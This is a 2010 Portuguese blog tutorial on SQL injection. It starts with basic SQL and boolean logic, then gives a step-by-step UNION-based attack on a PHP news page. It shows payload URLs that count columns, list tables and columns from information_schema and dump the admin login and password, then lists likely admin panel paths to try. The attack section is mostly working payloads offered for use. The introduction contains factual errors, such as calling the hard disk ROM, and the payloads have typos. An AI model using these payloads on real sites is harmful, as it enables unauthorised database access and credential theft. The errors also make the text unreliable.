terça-feira, 16 de março de 2010

SQL injection (SQLi) - Estudo inicial

Antes de avançarmos logo para o SQLi, vamos primeiro saber o que é SQL e como ele funciona.

Introdução

Primeiramente vocês tem que saber a diferença entre a chamada ROM e a RAM, nas quais todos os dispositivos digitais são programados. ROM significa Read Only Memory, que em português quer dizer "Memória somente de leirura", que é o chamado Disco Rígido ou HD (Hard Disk), a desvantagem dele é a velocidade baixa, mas seu potêncial para guardar dados é gigantesco. A RAM significa Random Access Memory, que português quer dizer "Memória de acesso randômico", que na verdade aceita leitura e escrita, possui uma velocidade muito grande, mas sua capacidade de guardar dados é muito baixa.

Um servidor de internet geralmente usa um banco de dados para guardar informações gerais (notícias, contas, produtos, ...) e esses dados são acessados através de uma Query String (que logo irei falar sobre) que geralmente é chamada por linguagens de programação interpretadas, a maioria das vezes por PHP (Hypertext Preprocessor) e ASP (Active Server Pages).

Enquanto essas linguagens são interpretadas, elas rodam em modo RAM, nesse tempo ela pode chamar uma Query String (que é o chamado SQL, Structured Query Language) que acessa o banco de dados presente na ROM, retornando valores referentes a pesquisa que a Query String especifica.

~~

Linguagem SQL

O banco de dados é estruturado como várias matrizes matemáticas, possuí tabelas, linhas e colunas.

A linguagem SQL é a que acessa esse banco de dados de modo estruturado. Exemplo de um código SQL:

Tabela_1

Coluna_1
a
b

Coluna_2
1
2

A tabela possuí as colunas e as colunas os valores, a sintaxe é a seguinte:

select Coluna_1 from Tabela_1
Retorno: a,b

select Coluna_2 from Tabela_2
Retorno: 1,2

select * from Tabela_2
Retorno: a,b,1,2

select * from Tabela_2 where Coluna_1='a' or Coluna_2=1
Tradução: Selecionar qualquer objeto da tabela caso o valor de Coluna_1 seja "a" (sem aspas) ou o valor de Coluna_2 seja 1.
Retorno: a,1

OR ("ou") é um dos operadores de condições, os outros são AND ("e") e NOT ("não"). Eles retornam valores verdadeiros e falsos.

Exemplo de uso do OR e AND:
  1. Nome da seu irmão: Fernando
  2. Nome da sua irmã: Ana

Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Ana' então

Nesse caso ele vai retornar Verdadeiro e Verdadeiro e o resultado geral vai ser Verdadeiro. Mas no próximo não:

Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Rafaela' então

Retorno: Verdadeiro AND Falso = Falso

Basta trocarmos o AND para OR que retornaremos Verdadeiro:

Se Nomedoirmão = 'Fernando' OR Nomedairmã = 'Rafaela' então

Retorno: Verdadeiro OR Falso = Verdadeiro

Tabela geral

V = Verdadeiro
F = Falso

V or V = V
V or F = V
F or F = F

V and V = V
V and F = F
F and F = F

not(V or V) = F
not(V or F) = F
not(F or F) = V

not(V and V) = F
not(V and F) = V
not(F and F) = V

No site da W3 tem vários tutoriais em inglês sobre SQL:

http://www.w3schools.com/sql/default.asp

~~

SQL injection

A arte de injetar códigos SQL começa na relação entre as linguagens de programação e a utilização de códigos SQL (Query String) na mesma.

Nesse tutorial iremos falar de uma simples injeção SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:
www.site.com/noticia.php?id=1
Exemplo acima quer dizer que o site acessa a notícia na posição 1 em uma determinada coluna de uma determinada tabela. Esse outro exemplo acessa a notícia na posição 2:
www.site.com/noticia.php?id=2
É simples, funciona como algo parecido com isso:

select noticia from tabela_noticias where noticia_id = X
Esse X você pode substituir pelo valor de id, no primeiro caso que eu apresentei o 1 e no segundo caso o 2.

www.site.com/noticia.php?id=6
SQL:
select noticia from tabela_noticias where noticia_id = 6

Retorna a notícia para uma variável no PHP e imprime na tela.

Vamos entender como funciona dentro da linguagem PHP:

$noticia=$_GET['id'];
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
Esse é um caso de código vulnerável, ele não elimina os caracteres especiais, como o ' (apóstrofo), fazendo com que o invasor possa executar outros comandos como ORDER e SELECT.

~~

Começando o ataque

Bom, depois de ficar falando sobre as estruturas e tudo, vamos começar com um exemplo simples, como, por exemplo, aquele que nós usamos:

$noticia=$_GET['id'];
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
Site: www.site.com/notícia.php?id=...

Para verificar se ele é mesmo vulnerável, já que não iremos ter acesso ao código fonte do site, colocamos um apóstrofo no valor de id:

www.site.com/notícia.php?id='
Ele retornará uma mensagem de erro SQL, pois a query não irá entender o que é ':

select noticia from tabela_noticias where noticia_id = '
Agora que sabemos que ela é vulnerável, vamos injetar códigos SQL, ex.:

www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9--

ORDER = ordena as colunas e verifica quantas tem.
-- = Finaliza o código SQL.

Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornará um erro. Caso ela tenha mais de 9 tabelas, ela não retornará nenhum erro, por isso vá almentando até conseguir saber quantas tabelas existem, ex.:

www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Imagine que eu use isso e ele retorne um erro assim: "Column 13 does not exists".

Então agora iremos arruma-la de acordo com o que diz:

www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12--
Agora usaremos o comando UNION que serve para unir todas as colunas e mostra-las no lugar do texto que deveria ser a notícia, além disso devemos mudar o valor da notícia para um na qual não exista notícia, geralmente usamos negativo:

www.site.com/notícia.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12--
Union select = unir a seleção.

Agora imagine que no site apareceu no lugar do titulo da notícia o valor 3 e no campo do texto o valor 4. Já que o texto provavelmente é maior, então usaremos ele para retornar todas as tabelas que existem no site:

www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where 1=1--

information_schema.tables é uma tabela que guarda todas as tabelas existentes no site. concat é um comando que concatena (junta) textos. No campo de texto ele retorna todas tabelas existentes no banco de dados, caso você não queira que ele mostre todos, usaremos um comando assim:

www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 2,1--
Retorna 2ª tabela.

www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 4,1--
Retorna 4ª tabela.

Ou, para retornarmos só aquelas que começam com "a" (sem aspas), por exemplo, usaremos assim:

www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_name like 'a%'--

Imagine que essa última retorne a tabela admin (que em português significa administrador), sendo assim usaremos nossas técnicas para pegar as colunas dela:

www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_schema,'.',column_name),5,6,7,8,9,10,11,12 from information_schema.columns where table_name='admin'--

information_schema.columns
guarda nome de colunas e o esquema (um "sub-banco de dados" que guarda tabelas). O que esse vai fazer é retornar todas as colunas e esquemas ta tabela admin.

Digamos que ele retorne isso:

admin_schema.id,admin_schema.login,admin_schema.senha
O que isso quer dizer é que o admin_schema é o esquema da tabela e o id, login e senha são as colunas. Agora é muito simples continuar, vamos tentar retornar o valor login e senha da tabela admin:

1º de tudo) Juntamos o esquema com o nome da tabela: admin_schema.admin

Agora vamos injetar a query:

www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(logon,'.',senha),5,6,7,8,9,10,11,12 from admin_schema.admin where 1=1--
Pronto, se retornar o login e senha do admin funcionou, ex.:

admin123.senha123
No caso acima, o login do admin é "admin123" (sem aspas) e a senha do mesmo é "senha123" (sem aspas).

Agora procuramos pelo site de login do admin, geralmente são esses:

www.site.com/admin
www.site.com/admin.php
www.site.com/admin/admin
www.site.com/admin/admin.php
www.site.com/login
www.site.com/login.php
www.site.com/login/login
www.site.com/login/login.php
www.site.com/login/admin
www.site.com/login/admin.php
www.site.com/admin/login
www.site.com/admin/login.php


Caso você consiga, pode ser que exista um LOG das localizações dos diretórios principais do site no arquivo robots.txt:

www.site.com/robots.txt

~~
~~
~~

Bom, é isso pessoal, tomara que tenham gostado, até a próxima.

Um comentário: